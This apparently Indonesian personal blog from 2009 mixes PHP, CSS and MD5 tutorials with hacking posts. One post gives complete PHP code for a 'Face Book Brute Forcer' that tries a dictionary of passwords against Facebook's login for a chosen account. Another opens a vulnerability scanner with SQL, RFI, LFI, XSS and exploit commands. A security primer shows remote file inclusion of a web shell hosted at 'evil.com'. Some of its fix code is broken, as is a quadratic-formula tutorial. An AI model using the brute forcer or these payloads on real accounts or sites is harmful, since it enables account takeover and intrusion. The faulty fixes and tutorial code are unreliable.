Expression Of My Love

17 November 2009

Website vulnerable scanner Tools

Filed under: PHP — Rudi Hidayat @ 4:04 pm

<?php

error_reporting(E_ALL & ~E_NOTICE);

Start();

function Start() {

$list_command = array('help','sql','rfi','lfi','xss','full','google','getlist','jump','exploit','wget','quit', 'pmapwn','injector','hexstring','md5string','portscan',);
(more…)

16 November 2009

Face Book Brute Forcer

Filed under: PHP — Rudi Hidayat @ 4:25 pm

<?
################################
# Face Book Brute Forcer
################################
set_time_limit(0);
$username ="brute@force.org"; // username to brute force
$dictionary ="dictionary.txt"; // need dictionary to password list

function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home”,$source)){return true;} else {return false;}

}

if(!is_file($dictionary)){echo “$dictionary is not file”;exit;}
$lines=file($dictionary);
echo “Attack Starting..
“;
sleep(10);
echo “Attack Started, brute forcing..
“;
foreach($lines as $line){
$line=str_replace(“\r”,”",$line);
$line=str_replace(“\n”,”",$line);
if(kontrol($username,$line)){echo “[+] username:$username , password:$line – P
assword found : $line

“;$fp=fopen(‘cookie.txt’,'w’);fwrite($fp,”);exit;}
else{echo “[-] username:$username , password:$line – Password not found :
$line

“;}
}
?>

6 November 2009

Pemrograman CSS (Cascading Style Sheet)

Filed under: Css — Rudi Hidayat @ 6:38 pm

CSS (Cascading Style Sheet) adalah suatu teknologi yang digunakan untuk memperindah tampilan halaman website (situs). Dengan Metode CSS keseluruhan warna dan tampilan yang ada di situs web dapat dirubah/diformat ulang dengan cepat. CSS digunakan untuk mempersingkat penulisan tag HTML seperti font,color,text, dan table menjadi lebih ringkas sehingga tidak terjadi pengulangan tulisan.

Keuntungan menggunakan CSS
• Memisahkan presentastion sebuah dokumen dari content document itu sendiri.
• Mempermudah dan Mempersingkat pembuatan dan pemeliharaan dokumen web
• Mempercepat proses rendering/pembacaan HTML.

Cara penulisan CSS

Inline style sheet

Penulisan didalam elemen HTML.

Contoh script 1
(more…)

Crypt MD5 (Message-Digest algortihm 5)

Filed under: Programing — Rudi Hidayat @ 6:21 pm

Dalam kriptografi, MD5 (Message-Digest algortihm 5) ialah fungsi hash kriptografik yang digunakan secara luas dengan hash value 128-bit. Pada standart Internet (RFC 1321), MD5 telah dimanfaatkan secara bermacam-macam pada aplikasi keamanan, dan MD5 juga umum digunakan untuk melakukan pengujian integritas sebuah file.

MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996, sebuah kecacatan ditemukan dalam desainnya, walau bukan kelemahan fatal, pengguna kriptografi mulai menganjurkan menggunakan algoritma lain, seperti SHA-1 (klaim terbaru menyatakan bahwa SHA-1 juga cacat). Pada tahun 2004, kecacatan-kecacatan yang lebih serius ditemukan menyebabkan penggunaan algoritma tersebut dalam tujuan untuk keamanan jadi makin dipertanyakan.
(more…)

apa dan mengapa php ??

Filed under: PHP — Rudi Hidayat @ 6:14 pm

PHP, ‘PHP: Hypertext Preprocessor’, merupakan bahasa pemrograman web dinamis layaknya ASP, JSP, Perl dan sebagainya. Lalu mengapa harus menggunakan bahasa pemrograman, apa HTML saja tidak cukup ? Ya, tentu saja HTML tidak cukup, salah satunya adalah karena sifat HTML yang statis. HTML hanya berguna untuk desain, saat kita browsing, maka yang kita lihat itu sebenarnya adalah interprestasi dari HTML. Sebagai contoh saat kita menggunakan YahooMail untuk mengirim email, maka tampilan yang dapat kita lihat tersebut merupakan interprestasi dari HTML, sedangkan untuk dapat mengirim email, digunakan bahasa pemrograman web seperti PHP.

Catatan:

Disini kita anggap HTML statis, sedang PHP dinamis. Sebelumnya kita harus menyamakan persepsi mengenai dinamis disini, yang dimaksud dinamis disini bukannya web yang dapat gerak-gerak, tetapi dinamis berarti web yang dapat diubah-ubah tanpa mengubah langsung kedalam file webnya.

PHP akhir-akhir ini semakin populer, jutaan web didunia menggunakannya, hal ini disebabkan oleh berbagai keunggulan PHP, diantaranya kemudahannya untuk dipelajari, gratis, kecepatan yang dapat diandalkan, dan sebagainya.

PHP HELLO WORLD

Kode PHP dapat disatukan dengan kode HTML sehingga mempermudah pemrogram dalam pengerjaan web. Sekarang kita akan membuat halaman php pertama kita.

<html>

<head>

<title>Hello World</title>

</head>

<body>

<?

echo “Hai ini Script PHP ku yang pertama”;

?>

</body>

</html>

Ketik dan simpan script diatas dengan nama hello.php pada folder htdocs apache anda. Panggil script php anda menggunakan browser dengan url : http://localhost/hello.php

Pemrograman PHP

Dari script diatas dapat kita ketahui bahwa script php diawali tengan tanda <? dan diakhiri dengan ?> , tanda tersebut untuk memisahkan antara script php dan script html. Script yang berada didalam tanda <? dan ?> akan dieksekusi sebagai script php.

Echo, di PHP berfungsi untuk menuliskan sesuatu ke browser. Saat hello.php kita browse dan dilihat sourcecode-nya maka akan tempil seperti dibawah ini:

<html>

<head>

<title>Hello World</title>

</head>

<body>

Hai ini Script PHP ku yang pertama

</body>

</html>

Hal ini berarti bahwa user yang mem-browse script php hanya akan melihat scriptnya sebagai script html, sedangkan script php-nya tidak terlihat.

Berbeda dengan HTML, script PHP membedakan antara huruf besar dan huruf kecil, karenanya kita harus berhati-hati dalam penulisan script PHP.

Tips:

Sebaiknya kita selalu menuliskan script PHP dalam huruf kecil, karena lebih enak dibaca dan cenderung konstan sehingga kemungkinan salahnya lebih kecil.

Variabel, Konstanta dan Tipe data dalam PHP

VARIABEL

Variabel didalam PHP dinyatakan dengan tanda $ diikuti nama variabel, pada PHP variabel tidak perlu dideklarasikan, sehingga mempermudah untuk programmer pemula. Misalnya kita ingin menyimpan nilai Pi kedalam variabel $Pi , maka kita tinggal menuliskan $pi = 3.14; pada script PHP.

KONSTANTA

Konstanta fungsinya hampir sama dengan variabel, hanya saja nilai konstanta selalu tetap, tidak bisa diubah-ubah. Untuk mendefinisikan konstanta digunakan fungsi define(). Nilai Pi yang disimpan dalam variabel $pi diatas sebenarnya lebih cocok bila disimpan dalam konstanta, karena nilai Pi selalu tetap.

Contoh :

define(“pi”, 3.14);

TIPE DATA

PHP mengenal berbagai macam tipe data, mulai dari integer, float, string, array, dan object. Tipe data integer meliputi semua bilangan bulat, float meliputi semua bilangan pecahan, string untuk karakter atau kumpulan karakter, array untuk kumpulan data, sedangkan tipe data object untuk pemrograman berorientasi object yang tidak akan kita bahas lebih jauh pada buku ini.

Tipe data string harus selalu diapit tanda petik tunggal atau tanda petik ganda. Coba perhatikan script hello.php, pada baris echo “….”; terdapat kumpulan karakter yang diapit tanda petik, kumpulan karakter tersebut bertipe data string.

Dalam PHP kita akan sering menggunakan tipe data array. Tipe data array digunakan untuk menyimpan banyak data dalam satu variabel, sebagai contoh untuk memasukkan daftar siswa kedalam suatu variabel, perhatikan script dibawah :

<html>

<head>

<title>Hello World</title>

</head>

<body>

<?

$siswa[0] = ‘ilma’;

$siswa[1] = ‘tika’;

$siswa[2] = ‘dina’;

$siswa[3] = ‘ogi’;

$siswa[4] = ’sidik’;

$siswa[5] = ‘ayik’;

$siswa[6] = ‘momon’;

$siswa[7] = ‘ippin’;

for ($i=0; $i<7; $i++) {

echo “variabel \$siswa[$i] bernilai $siswa[$i] <br/>”;

}

?>

</body>

</html>

Pemrograman PHP

Anda tidak perlu khawatir jika belum tahu maksud dari perintah for dari script diatas, kita akan membahasnya pada bab berikutnya. Pada script diatas pertama-tama dimasukkan data siswa kedalam variabel array $siswa, kemudian ditampilkan nilainya kebrowser.

Lebih jauh kita akan membahas tipe data array pada bab-bab berikutnya.

VARIABEL DARI FORM HTML

Untuk mengirimkan variabel dari satu halaman ke halaman lainnya atau kehalaman itu sendiri biasa digunakan form HTML. Form HTML akan mengirimkan variabel ke webserver, sehingga di webserver variabel tersebut menjadi input yang akan diolah oleh script PHP yang anda buat. Berikut adalah contoh penggunaan variabel dalam form :

<?

if ($submit){

echo “Nama : $nama <br/>”; echo “Email : $email<br/>”; echo “Alamat : $alamat<br/>”;
echo “Pesan: <br/> $pesan<br/>”;

echo “<hr/>”;

}

?>

<html>

<head>

<title>Variabel dari Form</title>

</head>

<body>

<form action=”form_variabel.php” method=”post”>

<p>Nama :

<input type=”text” name=”nama”>

<br> Email :
<input type=”text” name=”email”>

<br> Alamat :
<input type=”text” name=”alamat”>

<br>

Pesan :<br>

<textarea name=”pesan”></textarea>

<br>

<br>

<input type=”submit” name=”submit” value=”Submit”>

<input type=”reset” name=”Submit2″ value=”Reset”>

</p>

</form>

</body>

</html>

Ketik dan simpanlah ke form_variabel.php, kemudian coba isi formnya dan klik tombol submit, amati apa yang terjadi.

Pemrograman PHP

Pemrograman PHP

Pemrograman PHP

Saat tombol submit diklik, form akan mengirim variabel ke file tujuan yang tertera pada
atribut action pada form. Karena pada script diatas atribut action menunjuk ke form_variabel.php (file itu sendiri) maka variabel dikirim ke file form_variabel.php. File form_variabel.php mengirim beberapa variabel, yaitu variabel $nama, email, $alamat,
$pesan, dan $submit, yang kemudian variabel-variabel tersebut dicetak apabila tombol submit sudah diklik. Apabila tombol submit sudah diklik, maka variabel $submit akan bernilai TRUE, hal ini digunakan untuk mengecek apakah tombol submit sudah diklik atau belum.

OPERATOR dan STATEMENT


OPERATOR

Operator berguna untuk melakukan suatu operasi pada suatu nilai. Operator di PHP sangatlah umum sehingga mudah untuk dipahami. Disini kita akan membahas operator yang sering digunakan.

Operator Aritmatika

$x + $y ; //untuk penjumlahan

$x – $y ; //untuk pengurangan

$x * $y ; //untuk perkalian

$x / $y ; //untuk pembagian

$x % $y ; //untuk sisa hasil bagi

Operator Assignment

$x = $y ;

$x += 1; //sama dengan $x = $x + 1;

$x -= 1; //sama dengan $x = $x – 1;

$x *= 1; //sama dengan $x = $x * 1;

$x /= 1; //sama dengan $x = $x / 1;

Operator Perbandingan

$x == $y; //sama dengan, jika $x sama dengan $y akan menghasilkan TRUE, jika tidak sama menghasilkan FALSE

$x === $y; //identik

$x != $y; //tidak sama dengan

$x < $y; //lebih kecil dari

$x > $y; //lebih besar dari

$x <= $y; //lebih kecil atau sama dengan

$x >= $y; //lebih besar atau sama dengan

Operator Increment dan Decrement

$x++; //operasi dilaksanakan, baru nilai $x ditambah satu

$x–; //operasi dilaksanakan, baru nilai $x dikurang satu

++$x; //sama dengan nilai $x ditambah satu baru operasi dijalankan

–$x; //sama dengan nilai $x dikurang satu baru operasi dijalankan

 

STATEMENT

Statement digunakan untuk mengontrol alur program. Beberapa statement PHP diadopsi dari bahasa C, sehingga bagi anda yang sudah pernah menggunakan C akan jauh lebih mudah

dalam memahami statement di PHP. Pada bab ini hanya akan dibahas sekilas mengenai statement, lebih dalam kita akan melanjutkannya bersamaan dalam pembuatan aplikasi.

Statemenet if

if, yang berarti jika, digunakan untuk mengecek apakah suatu syarat dalam if terpenuhi, apabila dipenuhi maka suatu operasi dilakukan, perhatikan contoh dibawah :

<?

$nama = ‘castle’;

if ($nama == ‘castle’) {

echo “Rumah saya berbentuk $nama”;

}

?>

Statement if .. else

Seperti halnya statement if, statement if .. else akan mengecek apakah syarat pada if terpenuhi, jika ya maka operasi dibawah if dilakukan, jika tidak maka operasi yang dibawah else yang dilakukan.

<?

$kondisi = ‘lapar’;

if ($kondisi == ‘lapar) {

echo “Aku akan beli makanan”;

}else {

echo “Aku tidak akan beli makanan”;

}

?>

Statement switch

Statement switch digunakan untuk membandingkan syarat dengan berbagai nilai.

<?

$umur = 2;

switch ($umur){

case 1 :

echo “Bayi itu masih sangat kecil”;

break;

case 2 :

echo “Bayi itu sudah sangat lincah”;

break;

case 3 :

echo “Anak itu sudah tampak kecerdasannya”;

break;

case 4 :

echo “Anak itu sangat gembira masuk taman kanak-kanak”;

}

?>

While Loop

While, akan mengeksekusi suatu perintah secara berulang-ulang, sampai kondisi pada while tidak terpenuhi.

Contoh:

<?

$i = 0;

while ($i <= 10) {

echo “nilai i sekarang adalah $i <br />”;

$i++;

}

?>

Program tersebut akan menuliskan nilai hingga i lebih besar dari 10.
Pemrograman PHP
For Loop

For digunakan untuk looping dengan memasukkan nilai awal, selama syaratnya terpenuhi. Bentuk umum For adalah sebagai berikut :

for (syarat1; syarat2; syarat3) {

operasi

}

syarat1 merupakan nilai awal, dijalankan sekali saat operasi loop dilakukan.

syarat2 merupakan kondisi yang selalu dicek setiap looping, apabila syarat terpenuhi maka operasi dilakukan dan mengeksekusi syarat3, jika tidak maka looping berhenti. Syarat 1 hingga 3 diatas tidak harus diisi, anda bisa mengosongkannya.

Perhatikan contoh berikut:

<?

for ($i=0; $i <=10; $i++){

echo “$i”;

Pada saat looping akan dijalankan, nilai $i diset menjadi 0; kemudian dicek apakah syarat kedua memenuhi, jika ya maka operasi echo dilakukan kemudian nilai $i dinaikkan 1 (syarat3 : $i++),jika tidak looping berhenti.

FUNGSI

<?

//menghitung rumus abc

// data 1

$a = 2;

$b = 3;

$c = 1;

$hasil_x1 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

$hasil_x2 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

echo “x1 = $hasil_x1 <br/>”;

echo “x2 = $hasil_x2 <br/><br/>”;

// data 2

$a = 5;

$b = 7;

$c = 1;

$hasil_x1 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

$hasil_x2 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

echo “x1 = $hasil_x1 <br/>”;

echo “x2 = $hasil_x2 <br/><br/>”;

// data 3

$a = 22;

$b = 145;

$c = 4;

$hasil_x1 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

$hasil_x2 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

echo “x1 = $hasil_x1 <br/>”;

echo “x2 = $hasil_x2 <br/><br/>”;

?>

Pemrograman PHP

Perhatikan program diatas! Program diatas menghitung nilai x1 dan x2 dari suatu nilai a, b, c yang dimasukkan, kemudian menuliskan hasilnya ke browser. Operasi tersebut dilakukan berulang kali, dan anda harus menuliskannya sebanyak data yang ingin anda hitung, hal ini tentu saja sangat tidak efisien, karenanyalah di PHP terdapat fungsi. Fungsi berguna untuk mengumpulkan operasi, yang dapat menerima masukan(input) dan mengeluarkan output. Fungsi akan sangat membantu dalam pemrograman berskala besar, karena fungsi yang pernah dibuat dapat dipakai kembali(reusable). Program diatas dapat disederhanakan menggunakan fungsi sbb:

<?

// menghitung rumus abc dengan menggunakan fungsi function hitung_abc($a, $b, $c) {
$hasil_x1 = (-1*$b + sqrt($b*$b – 4*$a*$c)) / 2*$a;

$hasil_x2 = (-1*$b – sqrt($b*$b – 4*$a*$c)) / 2*$a;

echo “x1 = $hasil_x1 <br/>”;

echo “x2 = $hasil_x2 <br/><br/>”;

hitung_abc(2, 3, 1);

// data 2

hitung_abc(5, 7, 1);

// data 3

hitung_abc(22, 145, 4);

?>

Program diatas melakukan operasi persis sama dengan program sebelumnya. Coba perhatikan pemanggilan fungsi hitung_abc() yang pertama! Pemanggilan fungsi disertai pemasukan argumen sebagai input, yaitu untuk argumen variabel $a dimasukkan nilai 2, $b dimasukkan nilai 3, $c dimasukkan nilai 1. Sehingga pada fungsi hitung_abc() akan dihitung rumus abc dari ketiga masukan tadi.

 

Mengertikah ??

4 November 2009

Pengenalan Celah keamanan pada Aplikasi Web berbasis PHP

Filed under: PHP,Programing — Rudi Hidayat @ 2:21 pm
Tags:

Pendahuluan
PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : http://php.net). PHP menjadi “ladang” pengaplikasian berbagai variabel yang ada dalam script secara autoglobal oleh programer dan juga menjadi “ladang” attacking para attacker karena PHP memiliki fasilitas autoglobal pada beberapa variabel :p

GET and POST
Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang ada dalam PHP. variabel register_global yang tersetting “on” pada file php.ini berfungsi untuk membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun harus di definisikan secara spesifik. seperti ini lah contoh script php nya :

<?php
echo $_POST['newhack']; //variabel newhack dikirim dengan methode POST
?>

dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal pengamanan.

 

Parameter Include
Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh autoglobal itu sendiri.

saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote web/server si target.
contoh script PHP :

<?php

$file =$_GET['page']; // contoh kita akan menginclude file galeri.php
include($file);
?>

tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page'];

http://www.site.com/index.php?page=galeri.php

maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini

http://www.site.com/index.php?page=http://www.evil.com/r57.txt?

dan bila kita lihat source codenya akan menjadi seperti ini :
<?php
$file =”http://www.evil.com/r57.txt?”; / /$_GET['page'];
include($file);
?>

script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude (memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi yang sama terdapat pada include_once(), require(), require_once().
solusi dari bug ini sebenarnya sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan file yang sah di include ke array. contoh script seperti ini :

$file_valid = new array(”index”,”galeri”,”profil”);

$file = $_GET['page'];
if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file
proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker (www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file di ganti value (redirect) ke file index.php

Penutup
Sebenarnya masih banyak lagi celah-celah keamanan pada aplikasi web berbasis PHP. dari mulai proses input query database, system(), passthry(), shellexec(), exec() dan lain-lain. atau pada database seperti MySQL, bug dijalankan melalui perintah-perintah yang bisa kita inputkan di web browser. tapi dalam artikel ini saya hanya mengenalkan beberapa celah keamanan yang cukup diperhitungkan kondisinya.

Theme: Rubric. Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.